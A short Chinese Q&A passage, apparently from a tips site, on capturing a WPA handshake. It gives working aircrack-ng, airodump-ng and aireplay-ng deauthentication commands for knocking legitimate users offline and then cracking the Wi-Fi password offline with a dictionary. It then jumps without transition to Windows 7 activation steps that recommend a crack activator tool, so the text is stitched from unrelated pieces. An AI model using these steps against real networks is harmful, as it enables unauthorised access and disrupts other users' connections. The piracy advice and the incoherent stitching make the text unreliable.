怎样在WIN7环境下获得握手包？

握手包的抓取需要在用户正在拨号时才行。

一般的方法是，在抓包的同时，用deauth攻击，让已经登录的用户断线，然后用户再次登录时就可以抓握手包了。

不要一直攻击，否则合法用户连不上。当pwr显示的合法客户端的数值变为0时，表示他已经掉线了。

这个过程需要多进行几次，得亲自盯着，靠全自动软件是不行的。

sudo ifconfig wlan0

sudo airmon-ng start wlan0

sudo airodump-ng -w test mon0 -c 13

在抓包的同时进行注入攻击

sudo aireplay-ng -0 10 -a "bssid" mon0

抓到握手包后，在airodump显示屏幕的右上角回有显示的，然后可以关闭无线网卡了，在本地用aircrack-ng，挂上字典，进行wpa-psk的破解。

抓握手包只是万里长征的第一步，跑密码是真正的难题。

1）在计算机属性页的最下方有激活信息，如果没有激活，请点击这个激活链接。

2）然后在接下来的页面中输入系统密钥，输入完成，点击下一步。

2、系统本来使用激活工具激活，可以再次下载win7激活工具激活。

譬如：小马激活。

---